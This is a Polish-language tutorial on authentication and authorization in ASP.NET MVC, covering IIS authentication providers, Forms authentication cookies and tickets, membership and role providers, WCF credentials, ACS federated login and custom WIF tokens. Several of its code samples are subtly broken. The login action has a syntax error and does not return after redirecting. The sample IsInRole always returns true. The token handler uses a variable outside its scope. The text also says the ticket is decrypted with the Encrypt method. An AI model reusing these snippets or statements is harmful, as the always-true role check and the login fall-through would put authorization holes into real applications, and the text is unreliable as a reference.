Ponieważ w dzisiejszych czasach coraz więcej transakcji jest wykonywanych za pośrednictwem internetu to programiści ASP.NET MVC muszą zadbać o to aby dane użytkowników ich aplikacji pozostały bezpieczne.

Konfiguracja uwierzytelnienia

Serwer IIS od wersji 7 jest podstawowym mechanizmem uwierzytelnienia ponieważ został wyposażony w siedmiu dostawców uwierzytelnienia. Są oni podzieleni na dwa różne podejścia: challenge-based i login redirection–based authentication. Pierwsze z nich polega na tym, że użytkownik musi zgłosić się do serwera po uwierzytelnienie. Drugie ma miejsce wtedy gdy klient wysyła dane uwierzytelniające do aplikacji i aplikacja na ich podstawie wie gdzie ma przekierować użytkownika. Domyślnie zainstalowany jest tylko dostawca uwierzytelnienia anonimowego (ang. Anonymous authentication provider).

Dostawcy uwierzytelnienia

Wybór mechanizmu uwierzytelnienia zależy od kilku czynników. Pierwszym z nich jest miejsce gdzie są przechowywane dane użytkownika które będą używane do sprawdzenia tożsamości użytkownika. Jeżeli używasz uwierzytelnienia opartego o Active Directory to powinieneś wybrać jedną ze standardowych metod challenge-based. Jeżeli używasz innej technologii to musisz użyć nadpisanego lub niestandardowego dostawcy. Jeżeli nie używasz żadnego dostawcy to prawdopodobnie uwierzytelnienie typu Forms będzie odpowiednie.

Anonymous authentication

Uwierzytelnienie anonimowe nie wymaga aby użytkownik podał jakiekolwiek dane uwierzytelniające ale w czasie konfiguracji trzeba wybrać konto użytkownika lub serwis który będzie wykorzystywany do dostępu do plików. Można to konto wybrać dla każdej strony lub puli aplikacji. Jeżeli wybrany użytkownik nie ma wystarczających uprawnień do zasobu to serwer zwróci Unauthorized. Użycie właściwości User z uwierzytelnieniem Anonymous spowoduje zwrócenie pustego ciągu znaków. Uwierzytelnienie Anonymous na serwerze IIS można ustawić za pomocą konfiguracji lub za pomocą komendy:

appcmd set config -section:anonymousAuthentication -enabled:true

Basic authentication

Uwierzytelnienie podstawowe (ang. Basic credentials) wymaga poświadczeń sprawdzanych przez domenę które są zakodowane używając Base64 ale wysyłane informacje nie są wysyłane bezpiecznym kanałem. Uwierzytelnienie podstawowe jest nakładką na tradycyjnych zabezpieczenia systemu Windows więc użytkownik musi posiadać albo konto na serwerze lub w Active Directory. Uwierzytelnienie podstawowe na serwerze IIS można ustawić za pomocą konfiguracji lub za pomocą komendy:

appcmd set config -section:basicAuthentication -enabled:true

Digest authentication

Uwierzytelnienie szyfrowane (ang. Digest authentication) jest podobne do uwierzytelnienia podstawowego z tym wyjątkiem, że jest przesyłane zaszyfrowane. Proces upewniania się przez serwer (ang. challenge-response process), że dane są wysyłane zaszyfrowaną drogą składa się z następujących kroków:

  • Serwer wysyła wyzwanie do klienta w odpowiedzi na żądanie strony zabezpieczonej.
  • Klient generuje unikalną wartość dla wyzwania.
  • Klient tworzy skrót wyzwania i wartości wyzwania.
  • Klient zwraca wartość wyzwania i skrót do serwera.
  • Serwer tworzy własną wersję skrótu aby upewnić się, że jest identyczna z tym który otrzymał od serwera.
  • Serwer tworzy nowy skrót wyzwania i wartości wyzwania po czym wysyła je do klienta.
  • Klient tworzy własną wersję skrótu aby sprawdzić poprawność otrzymanych danych.

Forms authentication

Uwierzytelnienie formularzy (ang Forms authentication) jest jednym z najczęściej używanych mechanizmów ponieważ pozwala na uwierzytelnienie użytkownika w dowolny sposób bez użycia systemu zabezpieczeń systemu Windows. konfigurując uwierzytelnienie formularzy tworzymy własną stronę logowania na której podajemy dane uwierzytelniające użytkownika które służą do porównania z danymi zapisanymi na serwerze, zwykle w bazie danych. Po udanym zalogowaniu, wezwanie do dostawcy członkostwa (Membership provider) zapewnia, że tokenu uwierzytelniania użytkownika jest ustawiony i że użytkownik może pozostać zalogowany przez resztę sesji. Jeżeli dane są potwierdzone przez system uwierzytelnienia to używamy metody FormsAuthentication.SetAuthCookie ustawiającej ciasteczko dla sesji użytkownika. Przykład kodu wysyłającego ciasteczko uwierzytelniające:

[ControllerAction]
public void Authenticate(string uname, string pass)
{
    User user = dbContext.Users.First (x=>x.UserName.Equals(uname();

    if (user != null && user.Password.Equals(EncryptHash(pass))
    {
        FormsAuthentication.SetAuthCookie(uname, false);
        RedirectToAction("Main", "DashBoard");
    }
    // unable to login
    RenderView("Index", new LoginViewData
    {
        ErrorMessage = "Invalid credentials."
    });
}

Jeżeli uwierzytelnienie się powiedzie to obiekt User jest wstawiany do HttpContext tak jak we wszystkich innych typach uwierzytelnienia. Można również dodać ten obiekt do obiektu wątku. Jeżeli chcemy wyczyścić ciasteczko uwierzytelnienia to możemy użyć metody FormsAuthentication.ClearAuthCookie.

Windows authentication

Uwierzytelnienie Windows używa danych użytkownika zalogowanego do systemu Windows i przesyła je w żądaniach HTTP. Istnieją dwa protokoły uwierzytelnienia Windows: NTLM i Kerberos. Protokoły te są wspierane tylko przez przeglądarki firmy Microsoft.

ASP.NET Impersonation authentication

Jest to dodatek do uwierzytelnienia Windows, które pozwala aplikacjom ASP.NET MVC tożsamości Windows w bardziej dynamiczny sposób. Dzięki temu dodatkowi można użyć tożsamości Windows aby otrzymać dostęp do zasobów takich jak sieć i pliki. Ustawienie w Web.config:

<configuration>
    <system.web>
        <identity impersonate="true" />
    </system.web>
</configuration>

Client Certificate authentication and IIS Client Certificate authentication

Uwierzytelnianie certyfikatu klienta (ang. Client Certificate authentication) dopasowuje certyfikat pomiędzy użytkownikiem i serwerem i używa tego dopasowania do uwierzytelnienia. Uwierzytelnienie certyfikatu klienta na serwerze IIS pozwala na sprawdzenie danych w Active Directory oraz na lokalnym serwerze. Jest to najbardziej skomplikowany mechanizm uwierzytelnienia i wymaga certyfikatu SSL zainstalowanego na serwerze i dla każdego klienta.

Custom authentication

Kiedy żadne z rozwiązań nie pasuje do naszej aplikacji możemy zmodyfikować mechanizm uwierzytelnienia. Najlepszym sposobem jest implementacja interfejsów System.Security.Principal.IIdentity i System.Security.Principal.IPrincipal. IPrincipal zawiera informacje o użytkowniku i jego rolach. IIdentity zawiera informacje o użytkownikach, czy są uwierzytelnieni i imiona. Są to dwa domyślne interfejsy woków uwirzytelnienia i autoryzacji w .NET. Jeżeli posiadamy własną implementację tych interfejsów to możemy ją powiązać z HttpContext i aktualnym wątkiem co pozwala na użycie atrybutu Authorize bez konieczności przerabiania kodu. Kilka domyślnych implementacji tych interfejsów przychodzi z .NET: WindowsIdentity and WindowsPrincipal, FormsIdentity and GenericPrincipal oraz GenericIdentity and GenericPrincipal

Przykład implementacji interfejsów:

public class CustomPrincipal : IPrincipal
{
    public CustomPrincipal(CustomIdentity identity)
    {
        this.Identity = identity;
    }    

    public IIdentity Identity { get; private set; }

    public bool IsInRole(string role)
    {
        return true;
    }
}

public class CustomIdentity : IIdentity
{
    public CustomIdentity(string name)
    {
        this.Name = name;
    }

    public string AuthenticationType
    {
        get { return "Custom"; }
    }

    public bool IsAuthenticated
    {
        get { return !string.IsNullOrEmpty(this.Name); }
    }

    public string Name { get; private set; }
}

Uzycie IIdentity i IPrincipal pozwala na wstawienie własnych obiektów do właściwości aktualnego wątku currentPrinciple oraz do właściwości User w HttpContext. W czasie przetwarzania żądania moduł HttpModule analizuje i sprawdza informacje o użytkowniku oraz dodaje te dane do HttpContext aby były dostępne dla reszty obsługi żądania. Te informację są również dodawane do wątku poprzez System.Threading.Thread.CurrentPrincipal. Pomimo, żeHttpContext jest dostępny dla obiektu HttpHandler, to HttpContext nie jest zwykle czymś do czego można dostać się poza projektem MVC.

Ustawienie CurrentPrincipal z HttpContext:

// Make sure the principals are in sync
System.Threading.Thread.CurrentPrincipal = System.Web.HttpContext.Current.User;

Egzekwowanie ustawień uwierzytelniania

Głównym sposobem wykonania uwierzytelnianie w ASP.NET MVC jest użycie atrybutów dziedziczących z klasy AuthorizeAttribute. jest to filtr który może być używany z akcjami, kontrolerami lub globalnie. Atrybut Authorize mówi systemowi, że każdy użytkownik wywołujący akcję kontrolera musi być uwierzytelniony. Atrybut AllowAnonymous jest atrybutem, który mówi systemowi, że użytkownik wywołujący akcję kontrolera nie musi być uwierzytelniony. Czasem może wystąpić sytuacja kiedy nie chcemy używać atrybutów wymuszających aby użytkownik był uwierzytelniony ale za to jeżeli jest to chcemy mięć dostęp do tych danych. W takich sytuacjach można w kodzie użyć właściwości Thread.CurrentPrincipal.Identity.IsAuthenticated oraz HttpContext.Current.User.Identity.IsAuthenticated.

Przykład dodania globalnego filtru:

public static void RegisterGlobalFilters(GlobalFilterCollection filters)
{
    filters.Add(new HandleErrorAttribute());
    filters.Add(new AuthorizeAttribute());
}

Dla wszystkich dostawców można użyć tego samego kodu aby dowiedzieć się czy użytkownik jest uwierzytelniony. Wyjątkiem jest dostawca uwierzytelnienia anonimowego, dla którego atrybut Authorize blokuje dostęp. Ponieważ uwierzytelnienie formularzy pozwala na niestandardowe rozwiązania to również w jego przypadku autoryzacja może być obsługiwana inaczej niż dla innych dostawców. Domyślnie w aplikacjach ASP.NET MVC uwierzytelnienie formularzy używa tokenu do przechowywania informacji pomiędzy żądaniami. ten token może być zapisany jako ciasteczko lub jako część zapytania query string. Token powinien być zabezpieczony, najlepiej używając HTTPS dla całej komunikacji. Filtr RequireHttpsAttribute może być dodany na poziomie akcji, kontrolera lub globalnie.

Przykład dodania filtru RequireHttpsAttribute do pliku Global.asax:

public static void RegisterGlobalFilters(GlobalFilterCollection filters)
{
    filters.Add(new HandleErrorAttribute());
    filters.Add(new AuthorizeAttribute());
    filters.Add(new RequireHttpsAttribute());
}

Użycie ciasteczek do zarządzania sesją użytkownika

Aplikacja MVC jest zaimplementowana w sposób bezstanowy, co oznacza, że aplikacja wie tylko tyle ile zostało jej powiedziane w żądaniu. Czasami istnieje potrzeba zachowania stanu użytkownika i poprzednich żądań. Do tego typu zadań bardzo przydatną funkcją jest sesja. Forms authentication używa ciasteczek do zarządzania tzw biletem uwierzytelnienia, który jest zaszyfrowaną wersją nazwy użytkownika przechowywanej w ciasteczku. to ciasteczko jest kontenerem HTTP który nie może być odczytany ani manipulowany po stronie klienta. Przykład kodu tworzącego obiekt FormsAuthenticationTicket:

FormsAuthenticationTicket authTicket = new FormsAuthenticationTicket(
    1,
    userName,
    DateTime.Now,
    DateTime.Now.AddDays(90),
    createPersistentCookie, // a Boolean indicating whether a cookie
                            // should be created on the user's machine
    String.Join(";",rolesArr) //user's roles
);

// add cookie to response stream
string encTicket = FormsAuthentication.Encrypt(authTicket);

System.Web.HttpCookie authCookie = new System.Web.HttpCookie(FormsAuthentication.
    FormsCookieName, encTicket);
System.Web.HttpContext.Current.Response.Cookies.Add(authCookie);

Do obiektu FormsAuthenticationTicket możemy dostać się poprzez właściwość Ticket klasy FormIdentity. Klasa FormIdentity jest implementacją UserIdentity i można ją odczytać z klasy HttpContext lub z wątku. W powyższym przykładzie we właściwości UserData przechowane zostały role użytkownika ale można tam zapisać dowolną wartość. Właściwość Ticket można odszyfrować za pomocą metody FormsAuthentication.Encrypt.

Alternatywą dla ciasteczek jest przechowywanie danych sesji po stronie serwera. W takim wypadku z każdym żądaniem wysyłany jest identyfikator sesji klienta SessionId.

Konfiguracja dostawców członkostwa

Dostawcy członkostwa (ang. Membership providers) byli częścią ASP.NET od .NET 2.0. W pracy z klasycznym modelem konfiguracja i instalacja były wprowadzane za pomocą konfiguracji w pliku Web.config. Przykład konfiguracji dla SqlMembershipProvider:

<system.web>
    <membership>
        <providers>
        <clear/>
        <add name="AspNetSqlMembershipProvider" connectionStringName="sampleDB" enablePasswordRetrieval="false" enablePasswordReset="true" requiresQuestionAndAnswer="false" applicationName="/" requiresUniqueEmail="true" passwordFormat="Hashed" maxInvalidPasswordAttempts="3" minRequiredPasswordLength="8" minRequiredNonalphanumericCharacters="2" passwordAttemptWindow="15" type="System.Web.Security.SqlMembershipProvider, System.Web, Version=2.0.0.0, Culture=neutral />
        </providers>
    </membership>
</system.web>

Od czasu utworzenia frameworka, pewne aspekty członkostwa uległy zmianie. Przykładowo dla OAuth i OpenID użytkownik nie ma przypisanego hasła. W ASP.NET MVC 4 wprowadziło koncept SimpleMembership i SimpleRoles. Pozwala to na dostosowanie dostępu do magazynu danych poprzez określenie tabeli, klucza identyfikującego oraz nazwy użytkownika w czasie inicjalizacji. Metody SimpleMembership są zaimplementowane jako dostawcy implementujący rdzeń API ASP.NET. SimpleRoleProvider implementuje klasę bazową RoleProvider. SimpleMembershipProvider zostało wprowadzone do zarządzania interakcji z bazą danych. Dodano również klasę WebSecurity, która posiada wiele pomocniczych metod biznesowych. Domyślni dostawcy członkostwa którzy są częścią ASP.NET posiadają możliwość przechowywania informacji jako par klucz - wartość w specjalnej tabeli w bazie danych. SimpleMembership pozwala na użycie jakiejkolwiek tabeli zawierającej unikalne wartości nazwy użytkownika i identyfikatora. SimpleMembershipProvider wymaga dodatkowych tabel do przechowywania ról i informacji takich jak np hasło. Poniższy kod prezentuje jak utworzyć tabele. Trzeba zainicjować klasę WebSecurity przy uruchomieniu poprzez wywołanie metody InitializeDatabaseConnection.

WebSecurity.InitializeDatabaseConnection(string connectionString, string providerName,
    string userTableName, string userIdColumn, string userNameColumn, bool autoCreateTables)

Klasa WebSecurity jest użyteczną nakładką na SimpleMembership. Zawiera metody Login, ResetPassword, CreateAccount, i ChangePassword. Pomimo tego, że ASP.NET MVC 4 posiada tylko SimpleMembershipProvider, to można napisać własnego dostawcę. Dostawcy są zwykle konfigurowani w pliku konfiguracyjnym. W przypadku SimpleMembership jest to zwykle connection string. Przykład konfiguracji:

<connectionStrings>
    <add name="DefaultConnection" connectionString="ConnectionStringHere" providerName="System.Data.SqlClient" />
</connectionStrings>
<appSettings>
    <add key="TableName" value="CustomLoginTable"/>
    <add key="IdColumn" value="Id"/>
    <add key="UsernameColumn" value="Username"/>
</appSettings>

Custom membership providers

Niestandardowy dostawca członkostwa może być utworzony poprzez dziedziczenie z klasy AuthorizeAttribute lub dziedziczenie z dostawcy uwierzytelnienia Forms i nadpisanie odpowiednich metod. Aby nadpisać klasę FormsAuthentication należy zwrócić uwagę na dwa aspekty autoryzacji które obracają się wokół biletu. Pierwszym jest klasa FormsAuthentication, która ustawia ciasteczko; drugim jest FormsAuthenticationModule wykonujący pracę z każdym żądaniem. Klasa FormsAuthentication posiada metodę SetAuthCookie przypisującą bilet do ciasteczka. Szyfrowanie jest wykonywane używając elementu konfiguracji serwera. W przypadku farmy serwerów trzeba się upewnić, że wszystkie serwery maja ten sam klucz. moduł HTTP FormsAuthenticationModule wyszukuje ciasteczko i bilet. Jeżeli odszyfrowanie sie nie powiedzie to użytkownik jest traktowany jako nieuwierzytelniony. Więcej o FormsAuthenticationModule.

Implementacja niestandardowego dostawcy wymaga dziedziczenia z klasy bazowej System.Web.Security.MembershipProvider, która dziedziczy z ProviderBase. Używając tego rozwiązania trzeba mieć na uwadze, że klasa WebSecurity nie będzie działać ponieważ wymaga zaimplementowania ExtendedMembershipProvider. Proces budowy niestandardowego dostawcy wymaga zaimplementowania 25 metod i właściwości, są to:

  • ApplicationName
  • ChangePassword
  • ChangePasswordQuestionAndAnswer
  • CreateUser
  • DeleteUser
  • Description
  • EnablePasswordReset
  • EnablePasswordRetrieval
  • FindUsersByEmail
  • FindUsersByName
  • GetAllUsers
  • GetNumberOfUsersOnline
  • GetPassword
  • GetUser
  • GetUserNameByEmail
  • Initialize
  • MaxInvalidPasswordAttempts
  • Name
  • PasswordAttemptWindow
  • PasswordFormat
  • RequiresQuestionAndAnswer
  • RequiresUniqueEmail
  • ResetPassword
  • UnlockUser
  • UpdateUser
  • ValidateUser

Więcej o tworzeniu niestandardowego dostawcy można przeczytać na stronie Implementing a Membership Provider.

Konfiguracja autoryzacji

Autoryzacja jest procesem nadawania użytkownikowi uprawnień do wykonania akcji na określonym zasobie. Najlepszym sposobem określenia uprawnień są role ponieważ są bardziej długotrwałe niż użytkownicy systemu. Tworząc role lepiej jest tworzyć je w oparciu o przywileje a nie stanowisko pracy np lepiej użyć CanEditOrder niż OrderPicker.

Tworzenie ról

System członkostwa ASP.NET opiera się na modelu dostawcy, który działa jako framework służący dla programistów w celu zwiększenia lub zmiany funkcjonalności wokół uwierzytelniania i zarządzania użytkownikami. Domyślnie ASP.NET posiada kilku dostawców członkostwa którzy posiadają standardowe implementacje uwierzytelnienia i autoryzacji. Ci dostawcy posiadają powiązanych dostawców ról jak np SqlRoleProvider współpracujący z SqlMembershipProvider. Jeżeli aplikacja używa autoryzacji opartej o system Windows jak np Active Directory to zarządzanie rolami jest częścią systemu. Uwierzytelnienie Forms używa innego zestawu tabel do zarządzania rolami. Można użyć narzędzia konfiguracji stron ASP.NET używając uwierzytelnienia Forms z dostawcą członkostwa np SimpleMembership. Ponieważ ASP.NET nie posiada szablonu do tworzenia ról to aby dodać role trzeba stworzyć odpowiedni interfejs użytkownika i wywołać Roles API. Uruchamiając nową aplikację możemy dodać odpowiednie role poprzez wykonanie odpowiedniego skryptu w bazie danych. Jeżeli chcemy wspierać role tworzone przez użytkowników to musimy napisać tę funkcjonalność samemu.

Autoryzacja ról poprzez konfigurację

W pliku Web.config można zarządzać autoryzacją. przykład konfiguracji dla SQL membership role provider:

<roleManager defaultProvider="AdminRoleProvider" enabled="true" cacheRolesInCookie="true">
    <providers>
    <clear/>
    <add name="SqlProvider" type="System.Web.Security.SqlRoleProvider" connectionStringName="DefaultConnection" applicationName="MyApplication" enablePasswordRetrieval="false" enablePasswordReset="true" requiresQuestionAndAnswer="true" requiresUniqueEmail="false" passwordFormat="Hashed" maxInvalidPasswordAttempts="5"
        passwordAttemptWindow/>
    </providers>
</roleManager>

Używając SimpleMembershipProvider z SimpleRole zamiast pliku konfiguracyjnego używa się kodu:

public static void InitializeDatabaseConnection(string connectionStringName, string
    userTableName, string userIdColumn, string userNameColumn, bool autoCreateTables)

Autoryzacja ról programowo

ASP NET MVC oferuje kilka dróg do utworzenia ról programowo. Przypisane role można sprawdzić na kilka sposobów: poprzez atrybut kontrolera lub akcji [Authorize(Roles=”Admin”)], lub w kodzie używając metody IsUserInRole lub GetRolesForUser. W kodzie można również odnieść się do ról użytkownika za pomocą metod takich jak RoleProvider.GetRolesForUser, HttpContext.User.IsInRole i RoleProvider.IsUserInRole. Role w atrybucie mogą być wymienione po przecinku, np:

[Authorize(Roles="Administrator,CanEditOrder")]

Przykład sprawdzania ról w kodzie:

string[] userRolesArray = Roles.GetRolesForUser();
string[] rolesForContentArray = DbContext.GetRolesForViewFromDb(thisViewName);
if (userRolesArray.Intersect(RolesForContentArray).Count > 0)
{
    // The user is authorized
}

Przykład użycia WebSecurity:

WebSecurity.RequireRoles("Admin", "OtherRole");

Własny dostawca ról

Własnego dostawcę ról można utworzyć implementując System.Web.Security.RoleProvider. Pozwala to dostosować role do naszych potrzeb w sytuacjach kiedy standardowi dostawcy ról nie spełniają naszych wymagań. Lista wymaganych właściwości i metod do zaimplementowania:

  • AddUsersToRoles
  • ApplicationName
  • CreateRole
  • DeleteRole
  • Description
  • FindUsersInRole
  • GetAllRoles
  • GetRolesForUser
  • GetUsersInRole
  • Initialize
  • IsUserInRole
  • Name
  • RemoveUsersFromRoles
  • RoleExists

Więcej można przeczytać na stronie Implementing a Role Provider.

Implementcaja autoryzacji serwisów WCF

Kiedy aplikacja jest klientem serwisu WCF to bardzo często trzeba zarządzać autoryzacją pomiędzy aplikacją a serwisem. To zarządzania uprawnieniami można użyć kolekcji Credentials przy tworzeniu pośrednika połączenia z serwisem (komenda Add Service Reference w VS). Można stworzyć poświadczenie używając nazwy użytkownika i hasła, określonych poświadczeń Windows lub WindowsIdentity.

Przykład przekazania poświadczeń używając pośrednika serwisu w kodzie serwera:

WCFServiceCient client = new WCFServiceCient();
client.ClientCredentials.UserName.UserName = "Apps User Name";
client.ClientCredentials.UserName.Password = "Apps Password";

Przykład przekazania poświadczeń Windows:

NetworkCredential credentials = new NetworkCredential();
credentials.Domain = "windows domain";
credentials.UserName = " Apps User Name";
credentials.Password = " Apps Password";

WCFServiceCient client = new WCFServiceCient();
client.ClientCredentials.Windows.ClientCredential = credentials;

Claims-based authentication

Uwierzytelnienie federacyjne pozwala aplikacji polegać na innej aplikacji w kwestii uwierzytelnienia (dostawca tożsamości jak Windows Azure lub Facebook). Kiedy dostawca uwierzytelni użytkownika to przesyła token do aplikacji który zawiera poświadczenia (ang. claims). Poświadczenia są porcjami informacji, które dostawca udostępnia aplikacji, np imię czy adres email. Uwierzytelnienie federacyjne jest przykładem uwierzytelnienia opartego o poświadczenia i jest używane do autoryzacji tak jak tradycyjny system oparty na rolach, ale może być o wiele bardziej ziarnisty. Używa po prostu innego podejścia do autoryzacji; zamiast autoryzowania dostępu w zależności od roli używa listy innych własności otrzymanych od zaufanego dostawcy.

Windows Azure Active Directory Access Control

Windows Azure Access Control Service (ACS) pozwala na zaimplementowanie uwierzytelnienia federacyjnego (ang. federated authentication). ACS pozwala na pracę z innymi standardowymi dostawcami tożsamości jak Windows Live ID i Facebook. Czterej podstawowi uczestnicy procesu uwierzytelniania ACS to strona ufająca (aplikacja), przeglądarka klienta, dostawca tożsamości i ACS. Ważne cechy ACS to:

  • Integracja z Windows Identity Foundation (WIF).
  • Wsparcie dla znanych dostawców tożsamości jak Facebook, Microsoft , Yahoo i Google.
  • Wsparcie dla Active Directory Federation Services (ADFS) 2.0.
  • Wsparcie dla protokołów OAuth 2.0 , WS-Trust i WS-Federation.
  • Wsparcie dla różnych formatów tokenów, a w tym JSON Web Token (JWT), Security Assertion Markup Language (SAML) 1.1, SAML 2.0 i Simple Web Token (SWT).
  • Portal web do zarządzania.

Kroki autoryzacji użytkownika przez ACS:

  1. Klient wysyła żądanie do aplikacji.
  2. Ponieważ żądanie nie jest uwierzytelnione to aplikacja odsyła użytkownika do ACS.
  3. ACS przekierowuje żądanie do dostawcy tożsamości, którego może wybrać aplikacja lub użytkownik. Dostawca udostępnia stronę uwierzytelnienia.
  4. Klient loguje się na tej stronie. Dostawca zatwierdza autoryzację i przesyła token do klienta.
  5. Klient przekazuje token do ACS.
  6. ACS sprawdza token i tworzy nowy token który zawiera poświadczenia i wysyła klienta z tokenem do aplikacji.
  7. Aplikacja sprawdza token i poświadczenia. Po zatwierdzeniu odsyła odpowiedź na żądanie z kroku 1.

Uwierzytelnienie ACS może wydawać się skomplikowane ale przestrzeń nazw Microsoft.Web.WebPages.OAuth abstrachuje większość pracy przekształcając procedurę w dwie metody VerifyAuthentication i Login. OAuthWebSecurity.VerifyAuthentication jest głównym procesem używanym do tworzenia zwrotnego zewnętrznego uwierzytelniania. Po otrzymaniu uwierzytelnienia można zapisać ciasteczko, które pozwoli określić w kolejnych żądaniach czy użytkownik jest nadal uwierzytelniony. Kod pokazujący logowanie zewnętrzne z użyciem ACS:

public ActionResult ExternalLoginCallback(string returnUrl)
{
    // send the request for a login to the ACS
    AuthenticationResult result = OAuthWebSecurity.VerifyAuthentication(
        Url.Action("ExternalLoginCallback", new { ReturnUrl = returnUrl }));
    if (!result.IsSuccessful)
    {
        return RedirectToAction("ExternalLoginFailure");
    }
    // check for the access token
    if (result.ExtraData.Keys.Contains("accesstoken"))
    {
        Session["accesstoken "] = result.ExtraData["accesstoken"];
    }
    // login to the local application using information from provider
    if (OAuthWebSecurity.Login(
        result.Provider,
        result.ProviderUserId,
        createPersistentCookie: false))
    {
        return RedirectToLocal(returnUrl);
    }
    if (User.Identity.IsAuthenticated)
    {
        // If the current user is logged in add the new account
        OAuthWebSecurity.CreateOrUpdateAccount(
            result.Provider,
            result.ProviderUserId,
            User.Identity.Name);
        return RedirectToLocal(returnUrl);
    }
    else
    {
        // User is new, ask for their desired membership name
        string loginData = OAuthWebSecurity.SerializeProviderUserId(
            result.Provider,
            result.ProviderUserId);
        ViewBag.ProviderDisplayName =
            OAuthWebSecurity.GetOAuthClientData(result.Provider).DisplayName;
        ViewBag.ReturnUrl = returnUrl;
        return View("ExternalLoginConfirmation", new RegisterExternalLoginModel
        {
            UserName = result.UserName,
            ExternalLoginData = loginData,
            FullName = result.ExtraData["name"],
            Link = result.ExtraData["link"]
        });
    }
}

Tworzenie niestandardowych tokenów używając WIF

WIF (Windows Identity Foundation) jest częścią .NET Framework i może być używane do budowania aplikacji rozpoznających tożsamość. Można użyć go do zarządzania którykolwiek z wbudowanych mechanizmów obsługi tokenów, jak również do obsługi tokenów które przenoszą informacje. WIF abstrahuje protokoły WS-Trust i WS-Federation pozwalając programiście na użycie API przy budowaniu systemów obsługujących poświadczenia. ASP.NET MVC wspiera wykorzystanie uwierzytelniania prowadzonego przez federacje co jest krytyczne aby użyć scenariusza single sign-on lub przekazać ciężar i odpowiedzialność uwierzytelniania do innej aplikacji. WS-Trust jest specyfikacją WS-* i standardem OASIS, który dostarcza rozszerzenia do WS-Security; zajmującym się z wydawaniem, odnowienia i walidacją tokenów zabezpieczeń. WS-Federation jest rozszerzeniem WS-Trust, które zapewnia architekturę dla zapewnienia oddzielania między formatami tokenów, protokół do pobrania tych tokenów i zaufany mechanizm do zarządzania nimi wszystkimi. WS-Federation udostępnia model usług, który dostarcza informacji o tożsamości i tokenów dla wszelkiego rodzaju usług internetowych i aplikacji, z mnóstwem możliwych relacji zaufania. WS-Federation może być stosowany bezpośrednio przez klienta, ponieważ zarządza i określa syntaktyczny związek między klientem a serwerem. Jego jedynym celem jest umożliwienie wspólnego procesu dostępu do operacji tożsamości zarówno dla klientów i serwisów internetowych. Usługa tokenu zabezpieczeń (STS - security token service) jest składnikiem usługi, która buduje, podpisuje i zarządza tokenami protokołów WS-Trust i WS-Federation. WIF wykonuje całą pracę za programistę. Windows Azure ACS jest przykładem często używanego STS. Z wprowadzeniem WIF, poświadczenia zostały dodane klas bazujących na klasie System.Security.Claims.ClaimsPrincipal. Dzięki temu każda z klas ma dostęp do poświadczeń i programiści mogą użyć interfejsów IIdentity i IPrincipal do pracy z informacjami o tożsamości. Pomimo, że .NET Framework wspiera wiele typów tokenów to czasami trzeba użyć innych typów tokenów. Na szczęście nie trzeba zastępować istniejącego mechanizmu transferu (WS-Federation), tylko obsłużyć nowy typ tokenu. Definicja niestandardowego tokenu dla WIF:

<m:MyCustomToken xmlns:m="urn:mycustomtoken" m:Id="SomeID" m:Issuer="urn:SomeIssuer" m:Audience="https://mywebsite/" m:ValidFrom="2013-01-01" m:ValidTo="2099-12-31">
    <m:Claim Name="FirstName" Namespace="urn:firstname">John</m:Claim>
    <m:Claim Name="LastName" Namespace="urn:lastname">Doe</m:Claim>
    <m:Claim Name="Role" Namespace="urn:role">Supervisor</m:Claim>
    <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
        <SignedInfo>
            <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/
xml-exc-c14n#" />
            <SignatureMethod Algorithm="http://www.w3.org/2000/09/
xmldsig#rsa-sha1" />
            <Reference URI="">
                <Transforms>
                    <Transform Algorithm="http://www.w3.org/2000/09/
xmldsig#enveloped-signature" />
                    <Transform Algorithm="http://www.w3.org/2001/10/
xml-exc-c14n#" />
                </Transforms>
                <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
                <DigestValue>SomeDigestValueHere</DigestValue>
            </Reference>
        </SignedInfo>
        <SignatureValue>… not shown …</SignatureValue>
        <KeyInfo>
            <X509Data>
                <X509Certificate>… not shown …</X509Certificate>
            </X509Data>
        </KeyInfo>
    </Signature>
</m:MyCustomToken>

Ten token musi być również zarządzany jako klasa dziedzicząca z SecurityToken:

public class MyCustomToken : SecurityToken
{
    public List<Claim> Claims {get; set;}
    public XmlElemnt Signature {get; set;}
    public bool ValidateThisSignature()
    {
        // code to validate the signature
    }
}

Każdy token używany w systemie musi posiadać odpowiednią obsługę. Tworząc klasę obsługi tokenu trzeba dziedziczyć z SecurityTokenHandler, np:

public override ClaimsIdentityCollection ValidateToken(SecurityToken token)
{
    ClaimsIdentityCollection claimsIdentityCollection = new ClaimsIdentityCollection();
    if (token is MyCustomToken)
    {
        MyCustomToken mycustomtoken = token as MyCustomToken;
        if (mycustomtoken.ValidateThisSignature())
        {
            IClaimsIdentity newIdentity = new ClaimsIdentity((token as
                MyCustomToken).Claims);
        }
    }
    claimsIdentityCollection.Add(newIdentity);
    return claimsIdentityCollection;
}

Aby aplikacja mogła używać nowego tokenu należy ją skonfigurować jak poniżej:

<configSections>
    <!-- Registers the microsoft.IdentityModel configuration section -->
    <section name="microsoft.identityModel" type="Microsoft.IdentityModel.Configuration.MicrosoftIdentityModelSection,
Microsoft.IdentityModel, Version=3.5.0.0" />
</configSections>
<microsoft.identityModel>
    <service>
        <securityTokenHandlers>
            <remove type="Microsoft.IdentityModel.Tokens.WindowsUserNameSecurityTokenHandler,
Microsoft.IdentityModel" />
            <add type="MyCustomToken.CustomUserNamePasswordValidatorSecurityTokenHandler,
MyCustomToken" />
        </securityTokenHandlers>
    </service>
</microsoft.identityModel>

Obsługa tokenów SAML i SWT

SAML 2.0 jest protokołem opartym o XML, który używa tokenu zawierającego twierdzenia lub pakiety informacji, aby przekazać informacje o zleceniodawcy (zwykle użytkowniku końcowym) pomiędzy SAML authority lub identity provider a service provider. SAML 2.0 pozwala na webowe scenariusze uwierzytelnienia i autoryzacji a w tym single sign-on, federated identity i web services security. Ponieważ tokeny SAML są podpisywane kluczem asymetrycznym to użytkownik nie może tworzyć własnych tokenów. Tokeny SAML mogą również być szyfrowane. Token Simple Web Token (SWT) jest prostszym obiektem podpisywanym kluczem symetrycznym. JWT reprezentuje poświadczenia które mają zostać przetransferowane przez dwie strony. Poświadczenia w JWT są kodowane w formacie obiektu JSON, który jest podpisany cyfrowo używając JSON Web Signature (JWS) i mogą być szyfrowane używając JSON Web Encryption (JWE). JWT nie jest jeszcze skończony ale posiada duże wsparcie i ma zastąpić w przyszłości SWT. WIF opiera się na klasach obsługi tokenów, które tworzą, odczytują, zapisują i sprawdzają 